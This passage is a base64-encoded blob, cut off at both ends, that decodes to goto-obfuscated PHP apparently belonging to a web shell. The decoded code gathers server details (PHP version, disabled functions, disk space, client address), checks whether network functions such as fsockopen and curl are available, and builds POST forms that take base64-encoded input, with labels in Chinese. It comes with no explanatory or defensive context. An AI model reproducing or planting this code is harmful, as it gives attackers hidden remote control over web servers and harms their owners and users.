jXFw1N1xceDc0XFwxNDRcXDc2XFx4M2NcXDU3XFx4NzRcXDE2MlxceDNlXCI7IFBtUldfOiB9IGdvdG8gbVdlYjM7IFpxZk45OiAkVG5zX3cgPSBhcnJheShcIlxceGU1XFx4YWVcXHhhMlxceGU2XFx4ODhcXHhiN1xcMzQ3XFwyNTNcXDI1N1xceGU2XFwyNjVcXDIxN1xceGU4XFx4YTdcXHg4OFxceGU1XFwyMzFcXDI1MFxcMzQ0XFwyNzdcXDI0MVxcMzQ2XFx4ODFcXDI1N1wiID0+ICRfU0VSVkVSW1wiXFx4NDhcXDEyNFxcMTI0XFx4NTBcXHg1ZlxceDU1XFwxMjNcXHg0NVxceDUyXFx4NWZcXDEwMVxceDQ3XFwxMDVcXHg0ZVxcMTI0XCJdLCBcIlxcMzUwXFwyNDJcXHhhYlxceGU3XFwyNDZcXHg4MVxcMzQ3XFx4OTRcXHhhOFxceGU3XFwyMzJcXDIwNFxceGU1XFx4ODdcXDI3NVxcMzQ2XFwyMjVcXDI2MFwiID0+IGdldF9jZmdfdmFyKFwiXFx4NjRcXDE1MVxceDczXFwxNDFcXHg2MlxceDZjXFx4NjVcXHg1ZlxcMTQ2XFx4NzVcXHg2ZVxceDYzXFwxNjRcXDE1MVxceDZmXFx4NmVcXHg3M1wiKSA/IGdldF9jZmdfdmFyKFwiXFx4NjRcXHg2OVxceDczXFx4NjFcXHg2MlxcMTU0XFx4NjVcXDEzN1xcMTQ2XFx4NzVcXDE1NlxceDYzXFx4NzRcXDE1MVxcMTU3XFx4NmVcXHg3M1wiKSA6IFwiXFx4MjhcXDM0NlxcMjI3XFwyNDBcXHgyOVwiLCBcIlxcMzUwXFx4YTJcXDI1M1xcMzQ3XFwyNDZcXDIwMVxcMzQ3XFx4OTRcXHhhOFxcMzQ3XFx4OWFcXDIwNFxceGU3XFwyNjFcXHhiYlwiID0+IGdldF9jZmdfdmFyKFwiXFx4NjRcXHg2OVxceDczXFx4NjFcXDE0MlxcMTU0XFwxNDVcXHg1ZlxceDYzXFwxNTRcXDE0MVxceDczXFwxNjNcXHg2NVxcMTYzXCIpID8gZ2V0X2NmZ192YXIoXCJcXHg2NFxcMTUxXFx4NzNcXDE0MVxceDYyXFwxNTRcXHg2NVxcMTM3XFwxNDNcXHg2Y1xceDYxXFwxNjNcXDE2M1xcMTQ1XFx4NzNcIikgOiBcIlxceDI4XFx4ZTZcXDIyN1xceGEwXFw1MVwiLCBcIlxceDUwXFx4NDhcXDEyMFxceDJlXFx4NjlcXDE1NlxceDY5XFwzNTFcXDIwNVxceDhkXFx4ZTdcXDI3NVxceGFlXFwzNTBcXDI2N1xceGFmXFx4ZTVcXHhiZVxceDg0XCIgPT4gJGtySktaID8gJGtySktaIDogXCJcXDUwXFx4ZTZcXDIyN1xceGEwXFx4MjlcIiwgXCJcXDEyMFxcMTEwXFx4NTBcXDM1MFxcMjc3XFx4OTBcXHhlOFxcMjQxXFwyMTRcXDM0NlxcMjI2XFwyNzFcXDM0NVxcMjc0XFx4OGZcIiA9PiBwaHBfc2FwaV9uYW1lKCksIFwiXFwxMjBcXHg0OFxceDUwXFwzNDdcXHg4OVxceDg4XFx4ZTZcXDIzNFxceGFjXCIgPT4gUEhQX1ZFUlNJT04sIFwiXFwxMjBcXHg0OFxcMTIwXFx4ZThcXHhiZlxceDliXFx4ZTdcXHhhOFxcMjEzXFx4NTBcXHg0OVxceDQ0XCIgPT4gZ2V0bXlwaWQoKSwgXCJcXDM0NVxcMjU2XFwyNDJcXDM0NlxceDg4XFwyNjdcXDM0N1xceGFiXFwyNTdcXDExMVxceDUwXCIgPT4gJF9TRVJWRVJbXCJcXHg1MlxceDQ1XFwxMTVcXDExN1xceDU0XFwxMDVcXDEzN1xceDQxXFx4NDRcXHg0NFxceDUyXCJdLCBcIlxceGU1XFx4YWVcXHhhMlxceGU2XFx4ODhcXHhiN1xceGU3XFx4YWJcXHhhZlxceGU2XFwyMjZcXDIwN1xceGU1XFwyNTVcXHg5N1xcMzQ3XFwyNzRcXDIyNlxceGU3XFwyNDBcXHg4MVwiID0+ICRfU0VSVkVSW1wiXFx4NDhcXDEyNFxcMTI0XFwxMjBcXDEzN1xcMTAxXFx4NDNcXDEwM1xcMTA1XFx4NTBcXHg1NFxcMTM3XFx4NGNcXDEwMVxcMTE2XFwxMDdcXHg1NVxcMTAxXFx4NDdcXDEwNVwiXSwgXCJcXHg1N1xcMTQ1XFwxNDJcXDM0NlxceDljXFx4OGRcXHhlNVxcMjEyXFwyNDFcXDM0N1xcMjUzXFx4YWZcXHhlNVxceDhmXFwyNDNcIiA9PiAkX1NFUlZFUltcIlxceDUzXFwxMDVcXDEyMlxceDU2XFwxMDVcXDEyMlxceDVmXFwxMjBcXHg0ZlxcMTIyXFwxMjRcIl0sIFwiXFx4NTdcXDE0NVxceDYyXFx4ZTZcXHhhMFxceGI5XFwzNDdcXHg5YlxcMjU2XFwzNDVcXHhiZFxceDk1XCIgPT4gJF9TRVJWRVJbXCJcXHg0NFxceDRmXFx4NDNcXHg1NVxcMTE1XFwxMDVcXDExNlxceDU0XFx4NWZcXDEyMlxceDRmXFx4NGZcXHg1NFwiXSwgXCJcXHg1N1xcMTQ1XFwxNDJcXHhlNlxceDg5XFx4YTdcXHhlOFxceGExXFwyMTRcXDM1MFxcMjA0XFx4OWFcXDM0NlxcMjM0XFwyNTRcIiA9PiAkX1NFUlZFUltcIlxcMTIzXFwxMDNcXHg1MlxceDQ5XFwxMjBcXDEyNFxceDVmXFwxMDZcXHg0OVxceDRjXFwxMDVcXDExNlxceDQxXFx4NGRcXHg0NVwiXSwgXCJcXDEyN1xceDY1XFx4NjJcXDM1MFxceGE3XFx4ODRcXHhlOFxceDhjXFx4ODNcXDEwM1xcMTA3XFwxMTFcXHhlN1xceDg5XFx4ODhcXDM0NlxcMjM0XFwyNTRcIiA9PiAkX1NFUlZFUltcIlxceDQ3XFx4NDFcXDEyNFxceDQ1XFx4NTdcXHg0MVxcMTMxXFx4NWZcXHg0OVxceDRlXFx4NTRcXHg0NVxcMTIyXFwxMDZcXHg0MVxceDQzXFwxMDVcIl0sIFwiXFx4NTdcXDE0NVxcMTQyXFx4ZTdcXDI1NlxcMjQxXFwzNDdcXDIyMFxceDg2XFwzNDVcXDIyMVxcMjMwXFx4NDVcXHg2ZFxceDYxXFwxNTFcXDE1NFwiID0+ICFlbXB0eSgkX1NFUlZFUltcIlxceDUzXFwxMDVcXDEyMlxceDU2XFx4NDVcXHg1MlxcMTM3XFx4NDFcXHg0NFxcMTE1XFx4NDlcXDExNlwiXSkgPyAkX1NFUlZFUltcIlxceDUzXFx4NDVcXDEyMlxceDU2XFwxMDVcXHg1MlxceDVmXFwxMDFcXDEwNFxceDRkXFx4NDlcXDExNlwiXSA6IFwiXFx4MjhcXDM0NlxceDk3XFx4YTBcXHgyOVwiLCBcIlxcMzQ1XFwyNzVcXDIyM1xcMzQ1XFwyMTFcXHg4ZFxcMzQ3XFwyNDNcXDIwMVxcMzQ3XFx4OWJcXDIzMFxcMzQ2XFx4ODBcXDI3M1xceGU1XFx4YTRcXDI0N1xceGU1XFx4YjBcXHg4ZlwiID0+IGlEWUZyKGRpc2tfdG90YWxfc3BhY2UoXCJcXDU2XCIpKSwgXCJcXDM0NVxcMjc1XFwyMjNcXDM0NVxceDg5XFx4OGRcXDM0N1xcMjQzXFx4ODFcXHhlN1xcMjMzXFx4OThcXDM0NVxcMjE3XFwyNTdcXDM0N1xceDk0XFwyNTBcXDM0N1xcMjUxXFx4YmFcXHhlOVxceDk3XFwyNjRcIiA9PiBpRHlmcihkaXNrX2ZyZWVfc3BhY2UoXCJcXHgyZVwiKSksIFwiXFwxMjBcXDExN1xceDUzXFx4NTRcXHhlNlxceDljXFwyMDBcXHhlNVxcMjQ0XFwyNDdcXDM0NVxceGFkXFwyMjdcXDM0NlxceDk1XFx4YjBcXDM1MVxceDg3XFwyMTdcIiA9PiBnZXRfY2ZnX3ZhcihcIlxcMTYwXFx4NmZcXDE2M1xceDc0XFx4NWZcXHg2ZFxcMTQxXFx4NzhcXHg1ZlxcMTYzXFx4NjlcXDE3MlxcMTQ1XCIpLCBcIlxcMzQ1XFwyMDVcXDIwMVxceGU4XFx4YWVcXDI3MFxcMzQ2XFwyMzRcXHg4MFxcMzQ1XFx4YTRcXDI0N1xcMzQ0XFx4YjhcXDIxMlxcMzQ0XFwyNzRcXDI0MFxcMzQ2XFx4OTZcXDIwN1xceGU0XFwyNzNcXHhiNlwiID0+IGdldF9jZmdfdmFyKFwiXFx4NzVcXHg3MFxcMTU0XFx4NmZcXDE0MVxcMTQ0XFx4NWZcXDE1NVxceDYxXFx4NzhcXHg1ZlxcMTQ2XFx4NjlcXHg2Y1xcMTQ1XFx4NzNcXHg2OVxcMTcyXFx4NjVcIiksIFwiXFx4ZTdcXDI1MFxcMjEzXFx4ZTVcXDI3MlxcMjE3XFwzNDZcXHg5Y1xceDgwXFwzNDVcXHhhNFxceGE3XFwzNDRcXHhiZFxceGJmXFwzNDdcXHg5NFxceGE4XFwzNDVcXHg4NlxcMjA1XFwzNDVcXHhhZFxcMjMwXFwzNTFcXDIwN1xcMjE3XCIgPT4gZ2V0X2NmZ192YXIoXCJcXHg2ZFxcMTQ1XFwxNTVcXDE1N1xcMTYyXFx4NzlcXHg1ZlxceDZjXFx4NjlcXDE1NVxcMTUxXFx4NzRcIiksIFwiXFwzNDdcXHhhOFxceDhiXFwzNDVcXDI3MlxceDhmXFwzNDZcXHg5Y1xcMjAwXFx4ZTlcXHg5NVxceGJmXFwzNTBcXHhiZlxceDkwXFwzNTBcXDI0MVxcMjE0XFx4ZTZcXHg5N1xceGI2XFx4ZTlcXDIyN1xceGI0XCIgPT4gZ2V0X2NmZ192YXIoXCJcXDE1NVxceDYxXFwxNzBcXHg1ZlxceDY1XFx4NzhcXHg2NVxceDYzXFx4NzVcXHg3NFxcMTUxXFx4NmZcXHg2ZVxceDVmXFwxNjRcXDE1MVxceDZkXFwxNDVcIikgLiBcIlxcMzQ3XFx4YTdcXDIyMlwiLCBcIlxceGU2XFx4OThcXHhhZlxcMzQ1XFwyMjBcXHhhNlxcMzQ2XFx4OTRcXHhhZlxcMzQ2XFwyMTRcXHg4MVxcMTA2XFwxNjNcXDE1N1xcMTQzXFx4NmJcXDE1N1xceDcwXFx4NjVcXHg2ZVwiID0+IGZ1bmN0aW9uX2V4aXN0cyhcIlxcMTQ2XFx4NzNcXDE1N1xceDYzXFwxNTNcXDE1N1xceDcwXFx4NjVcXDE1NlwiKSA/IFwiXFx4ZTZcXDIzMFxcMjU3XCIgOiBcIlxcMzQ1XFx4OTBcXHhhNlwiLCBcIlxcMzQ2XFx4OThcXHhhZlxceGU1XFwyMjBcXDI0NlxceGU2XFwyMjRcXDI1N1xcMzQ2XFx4OGNcXDIwMVxceDUzXFx4NmZcXHg2M1xceDZiXFwxNDVcXDE2NFwiID0+IGZ1bmN0aW9uX2V4aXN0cyhcIlxceDc1XFx4NmFcXDEwN1xceDQ0XFx4NzlcIikgPyBcIlxceGU2XFwyMzBcXHhhZlwiIDogXCJcXHhlNVxceDkwXFx4YTZcIiwgXCJcXHhlNlxceDk4XFwyNTdcXDM0NVxceDkwXFwyNDZcXDM0NlxceDk0XFx4YWZcXDM0NlxcMjE0XFwyMDFcXDEyMFxceDYzXFwxNTZcXDE2NFxcMTU0XCIgPT4gZnVuY3Rpb25fZXhpc3RzKFwiXFx4NTRcXDYyXFwxMjJcXDE0MlxcMTI1XCIpID8gXCJcXHhlNlxcMjMwXFx4YWZcIiA6IFwiXFwzNDVcXDIyMFxceGE2XCIsIFwiXFwzNDZcXHg5OFxcMjU3XFx4ZTVcXDIyMFxcMjQ2XFx4ZTZcXHg5NFxcMjU3XFwzNDZcXHg4Y1xceDgxXFx4NDNcXDE2NVxcMTYyXFwxNTRcIiA9PiBmdW5jdGlvbl9leGlzdHMoXCJcXHg2M1xceDc1XFx4NzJcXHg2Y1xcMTM3XFwxNjZcXHg2NVxceDcyXFx4NzNcXHg2OVxcMTU3XFx4NmVcIikgPyBcIlxceGU2XFwyMzBcXDI1N1wiIDogXCJcXDM0NVxceDkwXFx4YTZcIiwgXCJcXHhlNlxcMjMwXFx4YWZcXDM0NVxceDkwXFwyNDZcXDM0NlxceDk0XFwyNTdcXHhlNlxcMjE0XFx4ODFcXHg1YVxceDZjXFwxNTFcXDE0MlwiID0+IGZ1bmN0aW9uX2V4aXN0cyhcIlxceDY3XFx4N2FcXDE0M1xcMTU0XFwxNTdcXHg3M1xceDY1XCIpID8gXCJcXHhlNlxcMjMwXFwyNTdcIiA6IFwiXFx4ZTVcXDIyMFxcMjQ2XCIsIFwiXFx4ZTZcXHg5OFxcMjU3XFwzNDVcXDIyMFxcMjQ2XFwzNDZcXDIyNFxceGFmXFwzNDZcXHg4Y1xcMjAxXFx4NDZcXHg1NFxceDUwXCIgPT4gZnVuY3Rpb25fZXhpc3RzKFwiXFwxMDJcXDE0NFxcNjZcXDEwN1xcNjZcIikgPyBcIlxcMzQ2XFwyMzBcXDI1N1wiIDogXCJcXDM0NVxceDkwXFx4YTZcIiwgXCJcXHhlNlxceDk4XFx4YWZcXHhlNVxceDkwXFwyNDZcXDM0NlxceDk0XFwyNTdcXDM0NlxcMjE0XFx4ODFcXDEzMFxcMTE1XFx4NGNcIiA9PiBmdW5jdGlvbl9leGlzdHMoXCJcXHg3OFxcMTU1XFx4NmNcXHg1ZlxcMTYzXFwxNDVcXDE2NFxceDVmXFx4NmZcXHg2MlxceDZhXFwxNDVcXDE0M1xcMTY0XCIpID8gXCJcXHhlNlxceDk4XFwyNTdcIiA6IFwiXFwzNDVcXHg5MFxcMjQ2XCIsIFwiXFx4ZTZcXDIzMFxcMjU3XFwzNDVcXDIyMFxceGE2XFx4ZTZcXDIyNFxcMjU3XFx4ZTZcXHg4Y1xceDgxXFwxMDdcXDEwNFxceDVmXFwxMTRcXDE1MVxcMTQyXFx4NzJcXDE0MVxceDcyXFwxNzFcIiA9PiBmdW5jdGlvbl9leGlzdHMoXCJcXHg0ZFxcNjRcXHg3N1xcMTU0XFx4NDdcIikgPyBcIlxcMzQ2XFx4OThcXHhhZlwiIDogXCJcXHhlNVxcMjIwXFwyNDZcIiwgXCJcXDM0NlxceDk4XFx4YWZcXDM0NVxcMjIwXFwyNDZcXHhlNlxceDk0XFwyNTdcXHhlNlxceDhjXFwyMDFcXDEwM1xceDRmXFx4NGRcXDM0N1xcMjczXFwyMDRcXDM0NVxcMjczXFwyNzJcIiA9PiBjbGFzc19leGlzdHMoXCJcXDEwM1xceDRmXFwxMTVcIikgPyBcIlxceGU2XFx4OThcXHhhZlwiIDogXCJcXDM0NVxceDkwXFwyNDZcIiwgXCJcXHhlNlxcMjMwXFwyNTdcXDM0NVxceDkwXFwyNDZcXHhlNlxcMjI0XFwyNTdcXDM0NlxcMjE0XFwyMDFcXHg0ZlxceDQ0XFx4NDJcXHg0M1xceGU3XFwyNzNcXDIwNFxcMzQ1XFx4YmJcXDI3MlwiID0+IGZ1bmN0aW9uX2V4aXN0cyhcIlxceDYzXFw2MFxceDVhXFwxNDVcXDEyNFwiKSA/IFwiXFx4ZTZcXDIzMFxceGFmXCIgOiBcIlxceGU1XFwyMjBcXDI0NlwiLCBcIlxceGU2XFwyMzBcXDI1N1xcMzQ1XFx4OTBcXHhhNlxceGU2XFwyMjRcXHhhZlxcMzQ2XFx4OGNcXDIwMVxceDQ5XFwxMTVcXHg0MVxceDUwXFx4ZTlcXDIwMlxcMjU2XFwzNDRcXHhiYlxcMjY2XCIgPT4gZnVuY3Rpb25fZXhpc3RzKFwiXFwxMDNcXHg0Y1xcMTAyXFx4NmFcXDEyMFwiKSA/IFwiXFwzNDZcXDIzMFxceGFmXCIgOiBcIlxceGU1XFwyMjBcXDI0NlwiLCBcIlxceGU2XFx4OThcXHhhZlxceGU1XFx4OTBcXDI0NlxceGU4XFwyNzdcXHg5MFxceGU4XFwyNDFcXDIxNFxcMzQ0XFx4YmFcXHg4ZVxceGU1XFwyNTZcXHg4OVxcMzQ1XFx4ODVcXHhhOFxceGU2XFwyNTBcXHhhMVxcMzQ1XFx4YmNcXDIxN1wiID0+IGdldF9jZmdfdmFyKFwiXFwxNjNcXHg2MVxcMTQ2XFwxNDVcXHg2ZFxcMTU3XFx4NjRcXHg2NVwiKSA/IFwiXFwzNDZcXHg5OFxceGFmXCIgOiBcIlxcMzQ1XFx4OTBcXDI0NlwiLCBcIlxcMzQ2XFx4OThcXHhhZlxceGU1XFwyMjBcXHhhNlxcMzQ1XFx4ODVcXHg4MVxceGU4XFwyNTZcXHhiOFxceDU1XFwxMjJcXDExNFxcMzQ2XFwyMTFcXDIyM1xceGU1XFx4YmNcXDIwMFxceGU2XFx4OTZcXDIwN1xceGU0XFx4YmJcXHhiNlwiID0+IGdldF9jZmdfdmFyKFwiXFx4NjFcXDE1NFxceDZjXFwxNTdcXDE2N1xcMTM3XFwxNjVcXHg3MlxcMTU0XFwxMzdcXHg2NlxcMTU3XFx4NzBcXHg2NVxceDZlXCIpID8gXCJcXHhlNlxcMjMwXFwyNTdcIiA6IFwiXFx4ZTVcXDIyMFxcMjQ2XCIsIFwiXFx4ZTZcXDIzMFxcMjU3XFx4ZTVcXDIyMFxceGE2XFx4ZTVcXDIwNVxcMjAxXFwzNTBcXHhhZVxcMjcwXFx4ZTVcXHg4YVxceGE4XFx4ZTZcXDIwMFxcMjAxXFwzNDVcXHg4YVxcMjQwXFx4ZThcXHhiZFxceGJkXFx4ZTlcXHg5M1xceGJlXFx4ZTZcXDIxNlxcMjQ1XFx4ZTVcXHhiYVxcMjIzXCIgPT4gZ2V0X2NmZ192YXIoXCJcXHg2NVxcMTU2XFx4NjFcXHg2MlxcMTU0XFx4NjVcXDEzN1xceDY0XFwxNTRcIikgPyBcIlxceGU2XFwyMzBcXHhhZlwiIDogXCJcXDM0NVxcMjIwXFx4YTZcIiwgXCJcXHhlNlxceDk4XFwyNTdcXHhlNVxceDkwXFwyNDZcXHhlNlxcMjMwXFwyNzZcXHhlN1xcMjQ0XFx4YmFcXDM1MVxcMjI0XFwyMzFcXDM1MFxceGFmXFx4YWZcXDM0NFxcMjc3XFwyNDFcXDM0NlxcMjAxXFx4YWZcIiA9PiBnZXRfY2ZnX3ZhcihcIlxcMTQ0XFwxNTFcXHg3M1xcMTYwXFwxNTRcXDE0MVxcMTcxXFwxMzdcXDE0NVxceDcyXFwxNjJcXHg2ZlxcMTYyXFx4NzNcIikgPyBcIlxcMzQ2XFx4OThcXDI1N1wiIDogXCJcXHhlNVxcMjIwXFwyNDZcIiwgXCJcXDM0NlxceDk4XFwyNTdcXHhlNVxceDkwXFx4YTZcXDM1MFxceDg3XFx4YWFcXHhlNVxceDhhXFx4YThcXDM0NlxceGIzXFx4YThcXHhlNVxcMjA2XFx4OGNcXDM0NVxceDg1XFwyNTBcXDM0NVxcMjYxXFx4ODBcXHhlNVxcMjE3XFx4OThcXHhlOVxceDg3XFwyMTdcIiA9PiBnZXRfY2ZnX3ZhcihcIlxceDcyXFx4NjVcXDE0N1xceDY5XFx4NzNcXHg3NFxceDY1XFwxNjJcXDEzN1xcMTQ3XFwxNTRcXHg2ZlxceDYyXFx4NjFcXDE1NFxcMTYzXCIpID8gXCJcXDM0NlxcMjMwXFwyNTdcIiA6IFwiXFx4ZTVcXDIyMFxcMjQ2XCIsIFwiXFx4ZTZcXDIzMFxcMjU3XFx4ZTVcXHg5MFxcMjQ2XFx4ZTRcXDI3NVxcMjc3XFx4ZTdcXDIyNFxcMjUwXFwzNDVcXDIxN1xcMjE1XFx4ZTZcXHg5NlxcMjM0XFwzNDdcXHhiYVxceGJmXFwzNDVcXHhiY1xceDk1XFx4ZTdcXHg5NFxcMjUwXFx4ZTVcXHhhZFxceDk3XFwzNDdcXDI1NFxcMjQ2XFx4ZTRcXHhiOFxceGIyXCIgPT4gZ2V0X2NmZ192YXIoXCJcXDE1NVxcMTQxXFx4NjdcXDE1MVxcMTQzXFwxMzdcXDE2MVxcMTY1XFwxNTdcXDE2NFxcMTQ1XFx4NzNcXDEzN1xcMTQ3XFx4NzBcXHg2M1wiKSA/IFwiXFx4ZTZcXHg5OFxceGFmXCIgOiBcIlxceGU1XFx4OTBcXDI0NlwiLCBcIlxcMTIwXFx4NDhcXDEyMFxceGU3XFx4YmNcXHg5NlxcMzUwXFx4YWZcXHg5MVxcMzQ1XFx4OGZcXDIwMlxcMzQ2XFwyMjVcXHhiMFwiID0+ICRqWmlfYSA/ICRqWmlfYSA6IFwiXFw1MFxceGU2XFx4OTdcXHhhMFxcNTFcIik7IGdvdG8gWTRFV1U7IE9TU0h3OiBpZiAoIXRydWUpIHsgZ290byBvUVdpWTsgfSBnb3RvIG5HajdTOyBuR2o3Uzogb2Jfc3RhcnQoKTsgZ290byBFelh4WDsgQjB0Mlk6ICRqWmlfYSA9ICRlTXp2b1syXVswXTsgZ290byBYQW1YSTsgdENVZlU6ICRRakd1SCA9IG9iX2dldF9jb250ZW50cygpOyBnb3RvIE0ydzQwOyBNMnc0MDogb2JfZW5kX2NsZWFuKCk7IGdvdG8gU1pXTmw7IG1XT0JfOiAkUVNPOGYgLj0gXCJcXDc0XFw1N1xcMTY0XFwxNDFcXDE0MlxceDZjXFx4NjVcXHgzZVwiOyBnb3RvIHFrREJGOyBtV2ViMzogb252N246IGdvdG8gbVdPQl87IGF1V3dCOiAkUVNPOGYgPSAnJzsgZ290byBPU1NIdzsgcWtEQkY6IHJldHVybiAkUVNPOGY7IGdvdG8gc2JSeTg7IHVkZHNKOiAkUVNPOGYgLj0gXCJcXHgzY1xcMTY0XFwxNDFcXDE0MlxceDZjXFx4NjVcXDQwXFwxNDNcXHg2Y1xceDYxXFwxNjNcXHg3M1xceDNkXFx4MjJcXDE2NFxcMTQxXFx4NjJcXDE1NFxceDY1XFx4NzNcXDQyXFx4M2VcXHgzY1xcMTY0XFx4NzJcXHgzZVxcNzRcXHg3NFxcMTUwXFw0MFxceDczXFx4NzRcXHg3OVxcMTU0XFwxNDVcXHgzZFxcNDJcXHg3N1xceDY5XFx4NjRcXDE2NFxcMTUwXFx4M2FcXHgzMlxceDM2XFw0NVxceDNiXFx4MjJcXHgzZVxceGU1XFx4OTBcXHg4ZFxcMzQ3XFwyNDdcXHhiMFxceDNjXFx4MmZcXHg3NFxceDY4XFw3NlxcNzRcXHg3NFxceDY4XFw3NlxceGU1XFx4OGZcXDIwMlxceGU2XFx4OTVcXDI2MFxceDNjXFw1N1xceDc0XFx4NjhcXDc2XFw3NFxcNTdcXDE2NFxceDcyXFx4M2VcIjsgZ290byBHNW1QVTsgWEFtWEk6ICRrckpLWiA9ICRlTXp2b1syXVsyXSA/ICRlTXp2b1syXVsxXSAuIFwiXFx4MjBcXDU1XFw1NVxceDJkXFx4MjBcIiAuICRlTXp2b1syXVsyXSA6ICRlTXp2b1syXVsxXTsgZ290byBSU0N4NDsgc2JSeTg6IH0gcHVibGljIGZ1bmN0aW9uIGlrcUJjKCkgeyBnb3RvIGRJUmh5OyBiX2lJQzogJFVsaWNGID0gZW1wdHkoJF9QT1NUW1wiXFwxNDRcXDE1MVxcMTYyXCJdKSA/IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1wiXFwxNDdcXDE1N1xceDc2XFx4NjFcXDE2MlwiXSkgOiAkSnp3cmE7IGdvdG8gQ21DTGU7IG1pUDJyOiAkVWdMel8gPSAnJzsgZ290byBiX2lJQzsgY3RLcWo6ICRRU084ZiAuPSBcIlxceDNjXFx4NjlcXDE1NlxcMTYwXFx4NzVcXDE2NFxceDIwXFx4NzRcXHg3OVxcMTYwXFwxNDVcXHgzZFxceDIyXFwxNTBcXHg2OVxcMTQ0XFx4NjRcXDE0NVxcMTU2XFw0MlxceDIwXFwxNTZcXDE0MVxceDZkXFwxNDVcXHgzZFxcNDJcXHg2N1xcMTU3XFw0MlxcNDBcXDE1MVxceDY0XFx4M2RcXHgyMlxcMTQ3XFwxNTdcXHgyMlxceDIwXFx4NzZcXDE0MVxcMTU0XFx4NzVcXDE0NVxceDNkXFx4MjJcXHg3M1xceDYzXFx4NjFcXDE1NlxceDIyXFw3NlwiOyBnb3RvIGNMOEZUOyBkSVJoeTogJEp6d3JhID0gJHRoaXMtPmRkZ3VqOyBnb3RvIG1pUDJyOyBpdkdOcDogcmV0dXJuICRRU084ZjsgZ290byBoSDlaZjsgVHliZG46ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxceDcyXFx4M2VcXDc0XFwxNjRcXHg2NFxcNzZcXDM0NlxcMjIzXFwyMTVcXHhlNFxceGJkXFwyMzRcXHgzY1xceDJmXFx4NzRcXHg2NFxcNzZcXDc0XFwxNjRcXDE0NFxcNzZcXHgzY1xcMTUxXFx4NmVcXDE2MFxceDc1XFwxNjRcXHgyMFxceDc0XFx4NzlcXHg3MFxceDY1XFx4M2RcXDQyXFx4NzNcXHg3NVxcMTQyXFwxNTVcXHg2OVxcMTY0XFw0MlxcNDBcXDE2M1xcMTY0XFx4NzlcXHg2Y1xceDY1XFx4M2RcXHgyMlxceDc3XFwxNTFcXHg2NFxceDc0XFx4NjhcXHgzYVxceDM4XFw2MFxceDcwXFx4NzhcXHgzYlxceDIyXFw0MFxceDc2XFx4NjFcXHg2Y1xcMTY1XFwxNDVcXDc1XFx4MjJcXDM0NlxcMjIwXFwyMzRcXDM0N1xcMjY0XFwyNDJcXDQyXFx4M2VcXHgzY1xceDJmXFx4NzRcXDE0NFxceDNlXFw3NFxceDJmXFwxNjRcXHg3MlxceDNlXCI7IGdvdG8gdUc1SGY7IENfaGV5OiAkdDZTT1IgPSAkcUdMX1AgPT0gJycgPyBmYWxzZSA6IGV4cGxvZGUoXCJcXHg3Y1wiLCAkcUdMX1ApOyBnb3RvIE5Hd0JLOyB1RzVIZjogJFFTTzhmIC49IFwiXFx4M2NcXDU3XFx4NzRcXHg2MVxceDYyXFwxNTRcXDE0NVxcNzZcXDc0XFw1N1xcMTQ2XFwxNTdcXHg3MlxceDZkXFw3NlwiOyBnb3RvIHNYVXhVOyBTSDZZTzogJFFTTzhmIC49IFwiXFx4M2NcXHg2Y1xcMTQxXFx4NjJcXDE0NVxceDZjXFx4M2VcXDc0XFwxNTFcXHg2ZVxceDcwXFwxNjVcXDE2NFxcNDBcXDE2NFxcMTcxXFx4NzBcXDE0NVxcNzVcXHgyMlxcMTYyXFwxNDFcXHg2NFxceDY5XFwxNTdcXDQyXFx4MjBcXHg2ZVxceDYxXFx4NmRcXDE0NVxceDNkXFw0MlxcMTY0XFwxNzFcXHg3MFxceDY1XFx4MjJcXHgyMFxceDc2XFx4NjFcXDE1NFxcMTY1XFwxNDVcXHgzZFxcNDJcXHgzMVxceDIyXCIgLiAoIWVtcHR5KCRfUE9TVFtcIlxcMTY0XFwxNzFcXHg3MFxcMTQ1XCJdKSA/IFwiXFw0MFxcMTQzXFx4NjhcXDE0NVxceDYzXFwxNTNcXHg2NVxcMTQ0XCIgOiAnJykgLiBcIlxceDNlXFwzNDZcXDIyMFxceDljXFx4ZTdcXHhiNFxceGEyXFx4ZTVcXHg4Y1xcMjA1XFwzNDVcXDIyMFxcMjUzXFwzNDZcXHg5NlxcMjA3XFx4ZTVcXDI1NVxcMjI3XFw3NFxcNTdcXHg2Y1xcMTQxXFwxNDJcXDE0NVxcMTU0XFx4M2VcXHgyMFwiOyBnb3RvIHpUUU9aOyBMUDhwQzogJFFTTzhmIC49IFwiXFw3NFxceDY2XFwxNTdcXHg3MlxceDZkXFw0MFxceDZkXFx4NjVcXDE2NFxcMTUwXFx4NmZcXHg2NFxceDNkXFw0MlxcMTIwXFwxMTdcXDEyM1xceDU0XFx4MjJcXDc2XCI7IGdvdG8gVWh6dV87IEYwSlYzOiBmbXpmMDogZ290byBpdkdOcDsgelRRT1o6ICRRU084ZiAuPSBcIlxcNzRcXDE1NFxcMTQxXFwxNDJcXHg2NVxceDZjXFw3NlxcNzRcXHg2OVxcMTU2XFx4NzBcXHg3NVxceDc0XFx4MjBcXDE2NFxceDc5XFwxNjBcXDE0NVxcNzVcXDQyXFx4NjNcXHg2OFxceDY1XFx4NjNcXDE1M1xcMTQyXFx4NmZcXHg3OFxceDIyXFw0MFxcMTU2XFwxNDFcXHg2ZFxceDY1XFx4M2RcXDQyXFx4NjNcXHg2OFxceDYxXFwxNjJcXDQyXFx4MjBcXDE2NlxcMTQxXFx4NmNcXHg3NVxceDY1XFx4M2RcXHgyMlxceDMxXFw0MlwiIC4gKCFlbXB0eSgkX1BPU1RbXCJcXDE0M1xcMTUwXFx4NjFcXHg3MlwiXSkgPyBcIlxcNDBcXHg2M1xceDY4XFx4NjVcXDE0M1xcMTUzXFwxNDVcXHg2NFwiIDogJycpIC4gXCJcXHgzZVxceGU1XFx4OGNcXHhiOVxceGU5XFx4ODVcXHg4ZFxcMzQ1XFwyNDRcXDI0N1xceGU1XFx4YjBcXHg4ZlxceGU1XFx4ODZcXHg5OVxcNzRcXDU3XFwxNTRcXHg2MVxceDYyXFx4NjVcXDE1NFxcNzZcXDc0XFw1N1xcMTY0XFwxNDRcXHgzZVxceDNjXFx4MmZcXHg3NFxceDcyXFx4M2VcIjsgZ290byBnc1FBUjsgQ21DTGU6ICR4c3o3RSA9IGlzc2V0KCRfUE9TVFtcIlxceDZiXFx4NjVcXDE3MVxcMTY3XFx4NmZcXDE2MlxcMTQ0XCJdKSA/ICRfUE9TVFtcIlxceDZiXFwxNDVcXDE3MVxcMTY3XFx4NmZcXHg3MlxceDY0XCJdIDogJyc7IGdvdG8gWVc5eVU7IGhsU1htOiAkUVNPOGYgLj0gXCJcXDc0XFx4NzRcXDE2M